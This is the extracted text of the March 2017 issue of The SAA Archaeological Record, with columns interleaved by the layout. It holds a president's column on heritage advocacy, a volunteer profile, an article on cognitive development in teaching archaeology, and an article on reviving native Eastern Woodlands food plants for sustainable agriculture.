Bernardino. Byron Loosle describes the DHA-RAI Program within mation contained in The SAA the Bureau of Land Management and the remarkable opportunities it brings for interns. Archaeological Record. SAA, its edi- tors, and staff disclaim all war- Duane Peter considers the challenges and prospects of internships within the CRM ranties with regard to such content, industry. Finally, Paul Schackel reviews the internship program associated with the Mas- opinions, and information pub- ter’s of Applied Anthropology program at the University of Maryland. lished in The SAA Archaeological Record by any individual or organi- As promised in our November 2016 issue, we deliver Part 2 of our “Video Games in zation; this disclaimer includes all Archaeology” section. Erik Champion, Colleen Morgan, and Tara Copplestone consider implied warranties of mer- chantability and fitness. In no event a range of issues in game creation, archaeological interpretation, and public education. shall SAA, its editors, and staff be We also include two additional stand-alone articles in this issue. Crystal Dozier intro- liable for any special, indirect, or duces the cognitive development literature from the field of education and considers consequential damages, or any its utility for teaching archaeology at the college level. She also reminds us to consider damages whatsoever resulting from joining the Teaching Archaeology Interest Group (TAIG) and to attend the forum on loss of use, data, or profits arising teaching archaeology at the coming meeting in Vancouver. Carmody, Sherwood, and out of or in connection with the use Hoagland draw from paleoethnobotanical research to consider valuable plant foods for or performance of any content, opinions, or information included a sustainable future. in The SAA Archaeological Record. Finally, we include our two regular columns, the volunteer profile (this time with Chelsea Blackmore) and thoughts from our SAA president, Diane Gifford-Gonzalez. Copyright ©2017 by the Society for American Archaeology. All Rights Both offer important information and ideas within this currently challenging sociopo- Reserved. litical environment. 2 The SAA Archaeological Record • March 2017 FROM THE PRESIDENT FROM THE PRESIDENT Diane Gifford-Gonzalez, RPA In January, SAA joined with the American SAA leadership. No member data from SAA’sCultural Resources Association, American profiles is used, nor is entered data communi-Anthropological Association, and Society for cated to SAA. The portal also offers a legislation- Historical Archaeology in the Leadership Coun- tracking option and can identify newspapers cil for the Coalition for American Heritage near you for writing op-eds. (CAH). Coordinated by the experienced lobbying firm Cultural Heritage Partners, CAH will be a Nonmembers in our sister organizations, the united voice defending cultural heritage law and Council of Affiliated Societies (CoAS) and Coun- policies. See http://cqrcengage.com/coalition- cil of Councils, will receive Take Action alerts foramericanheritage/home. and can use the portal to write to legislators. Please note that SAA did not select the title/gen- In February, SAA also engaged a lobbying firm der options this software offers, which are keyed with extensive experience in environmental and to current congressional formats for responses. heritage protection, tasked specifically with The limitations of these choices may cause dis- developing new champions among Republican senators and comfort among some members, for which we apologize. representatives. We know that cultural heritage protection is not a strictly partisan issue; however, the narrow votes of Senate The pace of budget hearings and legislation is now picking up. confirmation hearings convince us that investing in the broad- We will be discerning in sending out Action Alerts, but when we est possible engagement with both sides of congressional aisles do, this is the main event, folks. If you do not like plans to alter is the way forward. Any successes here naturally will facilitate heritage protection law or vitiate its implementation in agen- CAH’s mission. cies, make your voice heard.1 SAA’s first “Take Action” notices using the home page’s new I urge USA members to talk with local avocational archaeologi- letter-writing portal were distributed February 9, regarding S. cal societies about joining CoAS. For $35/yr, CoAS members 33, the “Improved National Monument Designation Process receive a copy of the SAA Archaeological Record, the preliminary Act.” With 27 Republican cosponsors, the bill proposes altering annual meeting program, tables of contents of publications, the Antiquities Act to restrict a president’s ability to designate and, now, our monthly Government Affairs Updates. Most National Monuments on federal lands. It would require Con- importantly in the present political climate, SAA can reach gressional approval for presidential monument designations CoAS member societies with Take Action alerts, thereby mobi- and consent of the state legislatures where proposed monu- lizing grassroots support for archaeology. If your state or ments are located. S. 33 is yet to leave committee, but we regional professional organization is not yet on the Council of deemed this a good point to demonstrate strong opposition to Councils, another distribution mode for alerts, encourage them an array of senators. to do so. See https://ecommerce.saa.org/saa/staticcontent/static- pages/adminDir/affiliates.cfm. Our letter-writing software application allowed members and nonmembers to write to appropriate legislators in a few SAA is reestablishing the Government Affairs Network of State straightforward steps. Over 750 letters were submitted. Mem- Representatives (GANSR) to monitor state legislation parallel- bers praised its ease of use. The portal’s main page offers a ing anticipated assaults in Washington. Our California GANSR description of the issue and an editable letter template from already alerted us to one such bill targeting CEQA. The map March 2017 • The SAA Archaeological Record 3 FROM THE PRESIDENT GANSR 16 states States with Government Affairs Network Representatives. shows we have GANSRs in 16 of 50 states. We need better cov- to greater responsibilities and his good counsel. A few words erage. E-mail david_lindsay@saa.org to volunteer. about your incoming president: working closely with Susan Chandler on critical decisions over the last six months, I have On December 13, 2016, the SAA Board voted to support the Amer- come to deeply respect her wisdom, humanity, and determina- ican Association of University Professors’ 1940 Statement of Prin- tion. She has proved a politically astute analyst and constructive ciples on Academic Freedom and Tenure, requesting AAUP add team player in developing strategy. In Susan Chandler, SAA will SAA to their list of endorsers. See https://www.aaup.org/ have a wise and steady leader in challenging times, and at her report/1940-statement-principles-academic-freedom-and-tenure. back will be a truly exceptional team working to support SAA’s mission and ethics. This is my final president’s column. It has been an honor to serve you, and a privilege to work with our dedicated Board of Directors and staff. Special thanks go to Tobi Brimsek for her Note advice over the last two years. Donn Grenda, Government 1. The Coalition for American Heritage, of which SAA is a mem- Affairs Chair and SAA’s representative on CAH’s Leadership ber, has a feature for legislative call-ins on their home page. Council, has my deep gratitude for his generosity in stepping up 4 The SAA Archaeological Record • March 2017 VOLUNTEER PROFILE volunteer profile Chelsea Blackmore When I was asked to do this volunteer profile, I was group is “dedicated to activism that fights against specificconfused initially. I have never thought about my threats to cultural resources, diversity, and civil liberties,” andwork with SAA or any other professional organiza- advocates for the “values of anthropological archaeology in the tion as volunteering, but instead a logical extension of the work public sphere through direct engagement with current political I do and the commitment many developments.” Volunteering in of us have to the discipline. But these small ways, particularly recognizing this work is even around issues of equity, has more important in the current expanded how I think about political climate. Volunteering, archaeology’s value beyond its tra- regardless of its form, has ditional focus on cultural heritage become increasingly vital as a and preservation. form of political resistance and of solidarity building within and The current administration is outside of our profession. The quickly dismantling the world SAA mission statement states around us. Many people are feel- that we serve the public interest, ing fear and insecurities that they and we do so by seeking the had not experienced previously. If widest possible engagement with our mission is to disseminate society in “advancing knowledge knowledge and “to expand under- and enhancing awareness of the standing and appreciation of past.” We volunteer and engage humanity’s past,” we are uniquely with the public because we situated to effect change. Because believe that history matters; that our work encompasses a broad visibility of the everyday, of peo- view of the past, we can actively ples and pasts marginalized and counter narratives that deny cli- made invisible should be central mate change, that dispute indige- to what we do. As cochair for the nous autonomy, and naturalize Queer Archaeology Interest Group (QAIG), my focus has been racism, homophobia, and misogyny. We can use our work, pre- on the diversification of our discipline, not only in how we inter- and postcontact, as a means for public engagement and to dis- pret the past but in the very goals and missions of the society. mantle political discussions rooted in ahistorical notions of The establishment of QAIG in 2014 reflected not only a growing human behavior and morality. But in serving the public interest, interest in queer theory but the need to create all-inclusive how do we also serve our membership, both in protecting their spaces for LGBTQI archaeologists, students, communities, and rights as human beings and as professionals? What responsibil- allies. And it is this focus that has shaped my volunteer work not ities do we and the SAA have to our colleagues, students, men- only in QAIG but in the other ways I contribute—from task tors, and friends? As we do this work both in and out of the force membership to the sessions and papers I give. Volunteer- profession, we need to be acutely aware of ourselves and our ing and political resistance rooted in archaeology can come in privilege(s). This shapes not only how we interact with descen- many forms, both in and outside of SAA. Most recently, my own dent and stakeholder communities but with those people (our work has been in creating connections and disseminating infor- colleagues and students) who are directly affected by the mation online in groups like Archaeologists for a Just Future on increasingly hostile policies of the new administration. Facebook. Established by Barbara Voss prior to the election, the March 2017 • The SAA Archaeological Record 5 ARTICLE IMPROVING TEACHING IN THE ARCHAEOLOGY CLASSROOM COGNITIVE DEVELOPMENT THEORY APPLICATIONS AND ACTIVE LEARNING PEDAGOGIES Crystal A. Dozier Crystal A. Dozier is a graduate teaching assistant and PhD student in the Department of Anthropology at Texas A&M University. Teaching Archaeology in Higher Education of the reflective judgment model. All three are supplemented Instruction at the college level is one of the major career paths with examples from the SAA Curriculum Committee’s free for archaeologists. Today, all prospective archaeologists are online teaching resources repository, containing tried and tested trained in the classrooms, field schools, and laboratories within syllabi and classroom activities (http://www.saa.org/Aboutthe- institutions of higher learning. Therefore, the responsibility to Society/EducationandOutreach/CurriculumCommittee ensure that future archaeology pushes the boundaries of scien- Resources/tabid/1523/Default.aspx). In conclusion, I find that tific inquiry, while respecting the humanity behind our study, these practices are easy to embed into the archaeological class- lies with college instruction. Archaeological training in higher room with forethought and reflection. education has two major learning objectives: the development of complex critical thinking skills and the internalization of our dis- Student Cognitive Development in Higher Education cipline-specific knowledge. Archaeological theory, methodology, histories, and ethics are all examples of discipline-specific knowl- Cognitive complexity within education literature grapples with edge. Critical thinking can be understood as the development of the increasing complexity in thought from childhood into adult- the cognitive ability to weigh information from disparate and hood. The concept of cognitive development originated with contradictory sources in a rational, independent manner. The Piaget (1950), which soon propagated an entire field dedicated internalization of knowledge is predicated on this ability to dis- to understanding student development. Student development tinguish between sources of knowledge, so cognitive complexity theory in higher education was established a little later, with lies at the heart of archaeological instructional goals. Perry’s (1968) study of male students at Harvard; later theories draw heavily from these two resources by characterizing cogni- The development of cognitive complexity in students seems a tive development in terms of stages, moving from simple daunting task. I argue that an understanding of student cogni- acceptance of authority to critical, contextual evaluation of infor- tive development theory can assist instructors of archaeology to mation. Most modern cognitive development theories follow choose pedagogical tools and tasks to maximize cognitive devel- such a trajectory while incorporating more diverse study popu- opment. In order to do so, I first outline the academic under- lations (Love and Guthrie 1999). standing of cognitive complexity, primarily using the reflective judgment model of King and Kitchener (1994). I then demon- For the purposes here, King and Kitchener’s (1994) reflective strate how this student development theory directly applies to judgment model provides a useful lens for situating the discus- teaching practice by emphasizing the essential role of cognitive sion of cognitive complexity, as their foci was the consideration of dissonance. I argue that active learning practices and an ill-structured problems. Ill-structured problems are open-ended engaged pedagogy help engross students in order to better and have no single correct answer; classic examples include achieve those goals of cognitive conflict and growth, and I focus poverty, pollution, or overpopulation, and most questions of on three pedagogical tools that are aligned with the implications archaeological importance can be considered ill-structured (e.g., 6 The SAA Archaeological Record • March 2017 ARTICLE the development of state societies, the adoption/ invention of new not engage students fully enough for dissonance to be internal- technologies, the interpretation of changes in material culture, ized (Ambrose et al. 2010; Fink 2015; Weimer 2013). Rather, an etc.). engaged pedagogy recognizes that active learning activities within and outside the classroom are critical for students to fully In King and Kitchener’s model, students move through stages engage with ill-structured problems (Freeman et al. 2014). In of different strategies for attacking ill-structured questions. fact, the incorporation of active learning techniques has been They label these stages broadly as pre-reflective thinking, quasi- identified as one of the seven principles of teaching archaeology reflective thinking, and reflective thinking. Pre-reflective thinkers promoted by the Society for American Archaeology’s Curricu- prefer structured questions and may not recognize that multiple lum Committee (Kamp 2014; Wholey and Nash 2014). answers are possible. Quasi-reflective thinkers can recognize that multiple perspectives can exist but struggle with supporting In 2015, the SAA Curriculum Committee set a goal to create an their conclusions with properly justified data. Reflective open space to share educational tools based in active learning thinkers understand the constructive nature of knowledge and and tried and tested by instructors in the classroom. This goal use context, data, and reevaluation to attack ill-structured prob- materialized in an online repository for archaeological activities lems. Students may show differing levels of understanding and and syllabi (http://www.saa.org/AbouttheSociety/Education complexity depending on the context of the problem at hand, andOutreach/CurriculumCommitteeResources/tabid/1523/De and may show different levels of cognition at the same time. fault.aspx), with materials submitted by instructors, vetted by King and Kitchener make a distinction between reflective think- the Curriculum Committee, and available to all (McCurdy and ing as a mode of increasing complexity in thought and critical Gonlin 2016). In this section I outline several evidence-based thinking that would be indicative of the optimal type of reflec- pedagogical tools (reflective formats, ill-structured questions, tive thinking in the final stages (Torres 2011:11). Cognitive dis- and role-playing activities) for actively engaging students consis- sonance, the internal conflict between preconception and tent with the implications of cognitive development theory experience, is essential to reassessing the epistemological (King and Kitchener 1994), supplemented with examples of assumptions underlying students’ thought processes, thus activities from the SAA repository that meet these goals. All spe- pushing the advance of cognitive complexity. cific activities referenced can be found in the online repository mentioned above. While King and Kitchener’s model is imperfect—although robust in sample size and including traditional and non-students, their study only sampled white midwesterners with high academic Reflective Formats aptitude scores—their theories provide useful applications to The use of reflective assessments is perhaps the most direct higher education classrooms. Indeed, reflective practice has application of the reflective judgment model. Reflective assess- been one of the few “deep learning” ments can be given in a multitude of for- approaches to learning that has been posi- mats and in many different teaching tively linked to improving students’ critical While King and Kitchener’s arenas (Ambrose et al. 2010). They can bethinking scores (Laird et al. 2014). deployed as in-class activities (one-minute model is imperfect— papers, class journals, discussion posts), although robust in sample within formal assignments (as central orApplying Student Cognitive ancillary to activity, within exams), or as Development to Teaching Practice size and including separate assignments (journals, portfo- King and Kitchener’s reflective judgment model (1994) provides several suggestions traditional and non- lios). Such reflective practice does not nec- essarily need to be written as prose but can for promoting students’ cognitive com- students, their study only take other forms such as information plexity in higher education. These sugges- sampled white mapping (Toth et al. 2002). Portfolios aretions are designed to challenge and gaining prominence in other academic support students with ill-structured prob- midwesterners with high fields, such as engineering, as a compre- lems at whichever level they are at (see hensive and reflective mode of assessing Wolcott and Lynch 2000). Students under- academic aptitude scores— student progress (Wade and Yarbrough stand multiple perspectives through the their theories provide useful 1996). A good example from archaeology creation of cognitive dissonance, critical to of an activity that incorporates reflective the development of cognitive complexity. applications to higher questions can be seen in the “Applying Growing consensus is coalescing around education classrooms. Excavation Strategies to Case Studies” the idea that traditional lecture formats do activity in the SAA Curriculum Committee’s March 2017 • The SAA Archaeological Record 7 ARTICLE online resources repository. In this activ- ments consistent with their assigned stake- ity, students are asked to determine exca- holder group. This activity helps internalize vation strategies for a variety of case Role-playing activities force the important role that stakeholders and studies, justifying and reflecting on why students to adopt diverse groups have in archaeology (Stone they chose the specific methods for their 2014). example. perspectives that may be beyond their own Implications for Improving Instruction Ill-Structured Problems experience and their own As instructors of archaeology in higher Ill-structured problems make up the bulk understanding of the world. education are responsible for the training of archaeological study; understanding the of the next generations of archaeologists, actions, motives, and implications of the it is crucial that instructors remain cog- past from a material record requires cog- nizant of the theoretical and pedagogical nitive complexity and critical thinking to assess which interpre- advancements in educational literature. Cognitive development tative lens is most appropriate to analyze archaeological literature can provide insight into choosing appropriate peda- materials. As such, incorporating ill-structured questions into gogical tools for diverse classroom needs. These advancements, the archaeology classroom is not difficult; however, assessments as highlighted in the suggestions above, are already employed incorporating ill-structured questions are not easy to develop in in archaeological classrooms with great success. Resources such a multiple-choice format. To develop students’ abilities to cope as the SAA Curriculum Committee repository can provide with such questions, students can be asked to directly wrestle instructors with examples of active learning activities to employ with complex problems. Instructional literature presents ill- within their own classrooms and laboratories (McCurdy and structured questions as collaborative learning opportunities that Gonlin 2016). While formal study of archaeological classrooms are focused on problem-based learning (e.g., Gallagher et al. in higher education is wanting, the discipline can glean from 1995). Assessments or activities that directly address ill-struc- the numerous advancements in educational practice to support tured problems can work within or outside the classroom; a students of archaeology. good example from archaeology that incorporates an ill-struc- tured problem (how typologies can/should be created) can be For more information or resources for teaching archaeology, I seen in the “Store Typology” activity. In this activity students are encourage everyone to check out the SAA Curriculum Commit- asked to create their own typology based on artifacts of their tee’s online repositories, consider contributing to these resources, choice at a local store. The challenges and advantages of typolo- and join the SAA Teaching Archaeology Interest Group (TAIG). gies (their own kind of open-ended problem) are thus explored Both the Curriculum Committee and TAIG will also be present- by students. ing a variety of activities in an interactive forum, “Hands-On Teaching: Archaeological Activities to Engage Students and Enliven Classrooms,” at the SAA Annual Meeting on Saturday, Role-Playing Activities April 1, from 2:00 to 4:00 p.m. We hope to see you there! Role-playing activities force students to adopt perspectives that may be beyond their own experience and their own understand- ing of the world. This type of exercise helps expose students to the constructionist nature of knowledge—one of the critical steps in References Cited advancing reflective learning (King and Kitchener 1994). Role- Ambrose, Susan A., Michael W. Bridges, Michele DiPietro, Marsha C. playing activities can be employed within the classroom or as Lovett, and Marie K. Norman take-home assessments either to be done independently or 2010 How Learning Works: Seven Research-Based Principles for Smart within a group setting; examples can range from in-class debates, Teaching. Jossey-Bass, San Francisco, California. take-home writing exercises, or even performance (for anthropo- Fink, L. Dee logical examples, see Higgins 2001; Pedelty 2001). Role-playing 2015 Creating Significant Learning Experiences: An Integrated easily incorporates aspects of ill-structured questions in a reflec- Approach to Designing College Courses, Updated and Revised. Jossey- tive format, thus capitalizing on cognitive gains. A good example Bass, San Francisco, California. from archaeology that highlights role-playing as a central aspect Freeman, Scott, Sarah L. Eddy, Miles McDonough, Michelle K. Smith, of the activity is the “Stakeholder Meeting Simulation.” In this Nnadozie Okoroafor, Hannah Jordt, and Mary Pat Wenderoth activity students debate the archaeological, ecological, and eco- 2014 Active Learning Increases Student Performance in Science, nomic ramifications of a potential fracking project; students Engineering, and Mathematics. Proceedings of the National Academy adopt the perspectives of different stakeholders and develop argu- of Sciences 111(23):8410–8415. 8 The SAA Archaeological Record • March 2017 ARTICLE Gallagher, Shelagh A., William J Stepien, Beverly T. Sher, and David Piaget, Jean Workman 1950 The Psychology of Intelligence. Harcourt Brace Jovanovich, San 1995 Implementing Problem-Based Learning in Science Class- Diego, California. rooms. School Science and Mathematics 95:136–136. Stone, Tammy Higgins, Patricia J. 2014 Teaching Basic Archaeological Skills: Current Approaches in 2001 Comment on “Teaching Anthropology through Performance.” Undergraduate Field and Classroom Settings. SAA Archaeological Anthropology & Education Quarterly 32(2):254–526. Record 14(1):33–39. Kamp, Kathryn A. Torres, Vasti 2014 Teaching Archaeology in the First Part of the Twenty-First 2011 Using Student Development Theories to Explain Student Out- Century. SAA Archaeological Record 14(1):30–32. comes. In Higher Education: Handbook of Theory and Research 26, King, Patricia M., and Karen S. Kitchener edited by John C. Smart and Michael B. Paulsen, pp. 425–448. 1994 Developing Reflective Judgment: Understanding and Promoting Springer, Dordrecht, Netherlands. Intellectual Growth and Critical Thinking in Adolescents and Adults. Toth, Eva Erdosne, Daniel D. Suthers, and Alan M. Lesgold Jossey-Bass, San Francisco, California. 2002 “Mapping to Know”: The Effects of Representational Guidance Laird, Thomas F. Nelson, Tricia A. Seifert, Ernest T. Pascarella, and Reflective Assessment on Scientific Inquiry. Science Education Matthew J. Mayhew, and Charles F. Blaich 86(2):264–286. 2014 Deeply Affecting First-Year Students’ Thinking: Deep Wade, Rahima C., and Donald B. Yarbrough Approaches to Learning and Three Dimensions of Cognitive Devel- 1996 Portfolios: A Tool for Reflective Thinking in Teacher Educa- opment. Journal of Higher Education 85(3):402–432. tion? Teaching and Teacher Education 12(1):63–79. Love, Patrick G., and Victoria L. Guthrie Weimer, Maryellen 1999 Synthesis, Assessment, and Application. New Directions for 2013 Learner-Centered Teaching: Five Key Changes to Practice. 2nd ed. Student Services 1999(88):77–93. Jossey-Bass, San Francisco, California. McCurdy, Leah, and Nan Gonlin Wholey, Heather A., and Carole L. Nash 2016 New Curriculum Resource Webpage by the SAA’s Committee 2014 Teaching Basic Archaeological Skills: Current Approaches in on Curriculum and YOU! SAA Archaeological Record 16(3):4–7. Undergraduate Field and Classroom Settings. SAA Archaeological Pedelty, Mark Record 14(3):27–31. 2001 Teaching Anthropology through Performance. Anthropology & Wolcott, Susan K., and Cindy L. Lynch Education Quarterly 32(2):244–253. 2000 The Reflective Judgment Model: Implications for Service- Perry, William G., Jr. learning and Reflection. Electronic document, http://www.wolcot- 1968 Forms of Intellectual and Ethical Development in the College tlynch.com/SiteAssets/educator-resources/RJ_ServiceLearning.pdf, Years: A Scheme. Holt, Rinehart, & Winston, New York. accessed December 19, 2016. March 2017 • The SAA Archaeological Record 9 ARTICLE FROM THE PAST . . . A MORE SUSTAINABLE FUTURE? PREHISTORIC PLANT USE IN THE EASTERN WOODLANDS Stephen B. Carmody, Sarah C. Sherwood, and Carolyn Hoagland Stephen B. Carmody is a Mellon Fellow in the Sewanee/Yale Collaborative for Southern Appalachian Studies, Sarah C. Sherwood is an associate professor in the Department of Earth and Environmental Systems, and Carolyn Hoagland is the farm manager in the Office of Environmental and Stewardship and Sustainability at the University of the South, Sewanee, Tennessee. Among the many global environmental crises we face, one while only expanding the total area of land under production byof the most certain is food production. The global food 11 percent (Pretty 2008:447; Pretty and Bharucha 2014:1573;crisis has the potential to “explode within weeks and kill Tilman 1999:5995). Today, while modern agricultural practices within days” (Cribb 2010:8). There are numerous examples in successfully produce more than enough calories to feed every archaeology of how practices from the past can inform our person on the planet, the disastrous effects that they have had future. Currently, the Sewanee Native Cultigen Project involves on the environment and human health have many people the reintroduction of a suite of wild plants indigenous to eastern searching for more sustainable ways to produce food. North America that sustained hunter-gatherer groups before being domesticated or heavily cultivated between 5,000 and 3,400 years ago (Price 2009:6427; Smith and Yarnell 2009:6561) The State of Modern Agriculture (Figure 1). These plants included amaranth (Amaranthus retroflexus), knotweed (Polygonum erectum), little barley Health (Hordeum pusillum), maygrass (Phalaris caroliniana), goosefoot The successes of modern agriculture have allowed food produc- (Chenopodium berlandieri), pepo gourds (Cucurbita pepo), sump- tion to outpace population growth. However, this increase has weed (Iva annua), and sunflower (Helianthus annuus). Today, not provided food security for all. While we produce 25 percent most of these are largely considered tenacious weeds that we more food per person today than in the 1960s, one billion peo- eradicate regularly. ple remain chronically underfed (Lundqvist et al. 2008; Pretty 2008:447; Pretty and Bharucha 2014:1573). Malnutrition kills Though important for thousands of years, these native cultigens nine million people annually and is responsible for almost half were largely forgotten with the adoption of maize agriculture ca. of the deaths in children under the age of five, or 3.1 million 1,000 years ago. By the early 1800s, as the global population deaths annually (World Health Organization [WHO] 2015). reached one billion (McClung 2014:699), economically impor- While the aim of many global food initiatives has been the pro- tant monocrops like rice, wheat, and corn were necessary to duction of calories, questions remain about the nutritional value meet global food demand. Intensification of globally important of the many monocrops that are mass produced today. Two bil- monocrops provided the necessary means to feed growing lion people suffer annually from micronutrient deficiencies global populations. Remarkable achievements over the past half (McClung 2014:699; Pretty 2008:448). Micronutrient malnutri- century in technology and crop sciences (e.g., irrigation, fertil- tion, specifically vitamin A and iron deficiencies, most greatly izer, pesticides, and farm equipment), beginning with the affect the health of women and children in developing countries Green Revolution, has allowed for food production to keep pace (United Nations Food and Agriculture Organization [UNFAO] with a human population that has more than doubled in size, 2012). In stark contrast to those who suffer from the effects of from three to seven billion. During this time, global food output malnutrition, one billion people are overfed. A transition toward has increased by 178 percent and crop yields by 143 percent, a calorie-rich diet in the developed world has resulted in an 10 The SAA Archaeological Record • March 2017 ARTICLE Figure 1. Sun setting on amaranth plants at the university farm, Sewanee, University of the South. Photo courtesy of Stephen B. Carmody. increase in obesity, type II diabetes, and hypertension, all of as 80 percent of all nitrogen applied to farmlands finds its way which have emerged as serious threats to global health. Today, into the water supply (Pretty 2008:449). most of the world’s population live in countries where more people die annually from being overweight and obese than from malnutrition (WHO 2015). Soil Modern agricultural practices are considered to be the leading cause of global soil erosion and degradation. Today, one-third of Land all global lands are classified as marginal, meaning they are los- The effects of modern agricultural practices have been equally ing productivity, yet they support over 50 percent of the world’s as disastrous for the health of the planet, if not worse. Currently, population (Glover and Reganold 2010:41). This degradation is more land is under production than is under forest canopies. being driven by farming, forestry, and grazing and has resulted Thirty-eight percent of all global ice-free land is under agricul- in the release of approximately 1.1 billion tons of carbon into tural production, either being used as cropland or for livestock the atmosphere, not only affecting soil fertility but also driving grazing, representing the largest use of land on the planet, climate change. affecting between 80 and 90 percent of all habitable land (Balm- ford et al. 2012:2714; Sanderson et al. 2002:891). Research has shown that our food system releases somewhere between 9,800 Water and 16,900 megatons of carbon dioxide into the atmosphere. Water drives the production of every calorie that humans con- Additionally, the release of nitrogen and phosphorous from sume, making it inarguably critical to agricultural success. heavily managed fields pollute and contaminate freshwater, Since the 1950s global demand for water has tripled while sup- estuarine, and marine ecosystems. It is estimated that as much plies have diminished, leaving close to half a million people living March 2017 • The SAA Archaeological Record 11 ARTICLE Figure 2. Maygrass growing at the university farm. Photo courtesy of Stephen B. Carmody. in countries classified as water-stressed or water-scarce (Gleick through the use of pesticides and agrochemicals that harm nat- 2003:1525). Irrigation agriculture uses 70 percent of all global ural diversity, including pollinator insects, bird populations, and freshwater resources and is responsible for 40 percent of all soil fertility. Biodiversity is also adversely affected by population. agricultural output (Balmford et al. 2012:2714; Rosegrant et al. One billion people today live within the world’s 25 biodiversity 2002:1; Rosegrant and Cline 2003:1917), leaving only 30 percent hotspots, areas described as the most threatened species-rich for use in private homes and for energy production (Cribb areas of the planet (Myers et al. 2000:855). 2010:31). Many see this balance as a major hurdle to sustainable agriculture in the future. Each calorie that we eat requires one This loss of biodiversity has resulted in the homogenization of liter of water to produce. People in more affluent countries con- the world’s ecosystem, as well as our food supply. Over 7,000 sume approximately 792 gallons of water a day, 327,000 gallons wild plant food resources have been used as food over the annually (Cribb 2010:32). Depletion, pollution, and contamina- course of human (pre)history (Bharucha and Pretty 2010:2916). tion of the world’s freshwater supplies lead many to suggest that As a result of agricultural intensification, 10 crops (wheat, water and not land poses a much greater threat to food security maize, rice, soybean, barley, sorghum, millet, cotton, rapeseed, in the future. and beans) account for two-thirds of global croplands (Balmford et al. 2012:2715), while only 150 species are exploited commer- cially (Pretty and Bharucha 2014:1571). Biodiversity The greatest threat to the conservation of global biodiversity is agriculture. The expansion of monocrop agriculture has Agricultural Sustainability and the Future resulted in the largest replacement of the planet’s natural With populations expected to exceed nine billion by 2050, our ecosystems (Balmford et al. 2012:2714). Global biodiversity has current system is both vulnerable and unsustainable (McClung also been adversely affected by poor management practices and 2014:699; Tilman 1999:5995). Today, the average consumer eats 12 The SAA Archaeological Record • March 2017 ARTICLE one-fifth more calories than in the 1960s (Cribb 2010:10). This increase in population and food demand means that food pro- duction will need to increase between 70 and 100 percent by 2050. So while food production is increasing 1 percent annually, population and demand are increasing 2 percent annually (Cribb 2010:10). The challenge for future generations will be to produce twice as much food using less water, land, fertilizers, and energy. Soil erosion and degradation are widely considered to be the major obstacles to the sustainable growth of agriculture. By the year 2050, as a result of annual soil degradation, it is estimated that three billion people will live in deserts, meaning that new lands will need to be placed under production to meet future demands. We will need to feed twice as many people with half as much topsoil (Ruttan 1999:5962). Tilman et al. (2001) have sug- gested that an 18 percent increase of arable land will be required to feed a global population of nine billion. This increase will amount to an additional one billion hectares (3,861,021 square miles) of natural habitat, an area larger than the size of the United States (Tilman 1999:5997; Tilman et al. 2001:283). This trend will not only have a devastating effect on global biodiversity but would also require a tripling of nitrogen and phosphorous inputs, a twofold increase in water consumption, a threefold increase in pesticides, and a massive release of CO2 from tillage and land clearing tremendously impacting the quality of soils, water, and air (Tilman 1999:5999). These data and projections make it clear that changes in the way we produce and consume food are crucial to human health and our very existence. As rising global populations result in urban sprawl, demand for water is projected to increase 150 percent over the next few decades, placing an additional stress on water required for growing food. Inevitably, more scarce water resources mean decreased crop production and increased food costs for globally important crops, such as rice and maize, which could see price increases of 80 and 120 percent, respectively (Cribb 2010:38). Figure 3. Cluster of sumpweed plants. Photo courtesy of Stephen B. Carmody. Additionally, increasing median incomes across the globe will put added stress on water supplies, as demand for preferred cereals and proteins provided by meat, fish, and dairy is pro- This project was initially inspired by the paleoethnobotanical jected to increase in order to fulfill caloric requirements (Pretty and soils data from rockshelters (Early Archaic to Late Wood- 2008:448; Rosegrant and Cline 2003:1918). land) excavated on the southern Cumberland Plateau of Ten- nessee (Carmody 2014; Sherwood et al. 2012) and open-air sites in the Red River valley of Kentucky’s northern Cumberland Our Project Plateau (Gremillion et al. 2008; Windingstad et al. 2008). Both Whereas the Green Revolution greatly reduced world hunger, projects were addressing (among other questions) the use and advances in production over the next 50 years will require envi- subsequent domestication of native cultigens in uplands set- ronmentally sustainable solutions that provide a sufficient food tings across the midsouth. These studies found that native supply. Alongside researchers from around the world, the Sewa- perennial plants were used widely throughout prehistory and nee Native Cultigens Project looks to the archaeological record for eventually cultivated and/or domesticated on upland slopes. In local solutions to a currently troubled system of food production. light of these findings and the unsustainable nature of food March 2017 • The SAA Archaeological Record 13 ARTICLE Figure 4. Wild chenopod seed heads. Photo courtesy of Stephen B. Carmody. production across the globe today, we began to consider the parison of these attributes in other growing conditions. They potential for these “weeds” to again become a regional sustain- will also provide us with samples for nutritional and yield analy- able food source. ses. In addition, they have provided seed stock for our experi- mental plots. These plots, which will begin to produce this year, Today, over 80 percent of global croplands are devoted to annual will be established in a variety of environmental settings, allow- crops that contribute 70 percent of human calories (Pretty and ing us to measure the relationships between growth, yield, and Bharucha 2014:1575). Perennial crops hold several advantages nutrition on varying soil type, moisture, sunlight, aspect (tem- over heavily relied upon annual crops. Annual crops need to be perature), and elevation. Understanding how these microcli- replanted every season, require environmentally dangerous fertil- mates affect crop yields has important implications for izers and pesticides, do little to protect soils, and do not provide archaeologists studying prehistoric systems of food production habitat for local wildlife. Conversely, native amaranth, chenopod, as well as researchers studying sustainable food production in little barley, maygrass, and sumpweed resist drought, require lit- the future. Upland environments were productive locations for tle to no fertilizer and pest control, would increase local biodiver- food production in the past and may provide important locales sity, and could potentially help reestablish soil fertility (Tilman in the future as more land will be required. 1999:5998). These plants are reliable and nutrient-rich foods that produce substantial yields of both seeds and greens. Our collaborative project currently involves faculty, staff, and students from across the University of the South, including the To date, our project has successfully grown between 50 and 100 on-campus dining services, which plan to integrate these crops of each of the five plants listed above at the University of the into dishes in the dining hall (Figure 5). In the future we hope South’s university farm (Figures 2, 3, and 4). This initial trial has to expand experiments to different regional settings through allowed us to observe the growth patterns, productivity, and collaborative research projects with other university farms and space requirements of each while allowing a baseline for com- gardens. 14 The SAA Archaeological Record • March 2017 ARTICLE Figure 5. Farm manager Carolyn Hoagland teaching students and volunteers how to prepare trays of amaranth microgreens for research experiments. Photo courtesy of Stephen B. Carmody. References Cited Perennial Versions of Our Major Grain Crops Would Address Many of the Environmental Limitations of Annuals while Helping Balmford, Andrew, Rhys Green, and Ben Phalan to Feed an Increasingly Hungry Planet. Issues in Science and Tech- 2012 What Conservationists Need to Know About Farming. Proceed- nology 26(2):41–47. ings of the Royal Academy 279:2714–2724. Gremillion, Kristen J., Jason Windingstad, and Sarah S. Sherwood Bharucha, Zareen P., and Jules Pretty 2008 Forest Opening, Habitat Use, and Food Production on the 2010 The Role and Importance of Wild Foods in Agricultural Sys- Cumberland Plateau, Kentucky: Adaptive Flexibility in Marginal tems. 